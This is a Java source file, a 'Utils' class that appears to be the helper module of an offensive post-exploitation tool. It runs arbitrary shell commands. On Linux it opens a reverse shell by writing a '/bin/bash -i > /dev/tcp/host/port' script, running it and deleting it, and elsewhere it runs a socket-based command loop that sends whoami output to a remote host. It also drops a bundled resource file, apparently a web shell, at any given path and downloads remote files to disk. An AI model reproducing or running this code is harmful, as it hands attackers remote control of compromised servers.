import java.io.BufferedReader; import java.io.File; import java.io.FileOutputStream; import java.io.FileWriter; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.net.Socket; import java.net.URL; import java.net.URLConnection; public class Utils { static String os = System.getProperty("os.name").toLowerCase(); public static String exec(String cmd) { String result=""; try { if (cmd!=null&&cmd.trim().length()>0) { if (os.startsWith("windows")) { cmd="cmd.exe /c "+ cmd; }else { cmd="/bin/sh -c "+ cmd; } InputStream inputStream= Runtime.getRuntime().exec(cmd).getInputStream(); int read=0; while ((read=inputStream.read())!=-1) { result+=(char)read; } } } catch (Exception e) { result=e.getMessage(); } return result; } public static String shell(String host, int port) { String result = ""; if (host != null && host.trim().length() > 0 && port > 0) { try { if (os.startsWith("linux")) { String name="wooyun.sh"; File file=new File(name); FileWriter writer=new FileWriter(file); writer.write("/bin/bash -i > /dev/tcp/"+host+"/"+port+" 0<&1 2>&1"+"\n"); writer.flush(); writer.close(); Runtime.getRuntime().exec("chmod u+x "+name); Process process = Runtime.getRuntime().exec("bash "+name); process.waitFor(); file.delete(); } else { Socket socket = new Socket(host, port); OutputStream out = socket.getOutputStream(); InputStream in = socket.getInputStream(); out.write(("whoami:\t" + exec("whoami")).getBytes()); int a = 0; byte[] b = new byte[4096]; while ((a = in.read(b)) != -1) { out.write(exec(new String(b, 0, a, "UTF-8").trim()).getBytes("UTF-8")); } } } catch (Exception e) { result = e.getMessage(); } } else { result = "host and port are required"; } return result; } public static String upload(String path) { String result=""; try { if (path!=null&&path.trim().length()>0) { FileOutputStream fos=new FileOutputStream(new File(path)); InputStream inputStream =new Utils().getClass().getResourceAsStream("/resource/one.txt"); BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream)); String temp = ""; while (reader.ready()) { temp += reader.readLine() + "\n"; } fos.write(temp.getBytes()); fos.flush(); fos.close(); result="Upload Success"; }else { result="Path is required"; } } catch (Exception e) { result =e.getMessage(); } return result; } public static String download(String url, String path) { String result=""; try { if (url!=null&&url.trim().length()>0&&path!=null&&path.trim().length()>0) { URLConnection conn=new URL(url).openConnection(); conn.setReadTimeout(10*60*1000); conn.setReadTimeout(10*60*1000); InputStream inputStream=conn.getInputStream(); int read=0; FileOutputStream fos=new FileOutputStream(new File(path)); while ((read=inputStream.read())!=-1) { fos.write(read); } fos.flush(); fos.close(); }else { result="Url and path are required"; } } catch (Exception e) { result =e.getMessage(); } return result; } public static String getClassPath() { return new Utils().getClass().getClassLoader().getResource("/").getPath(); } }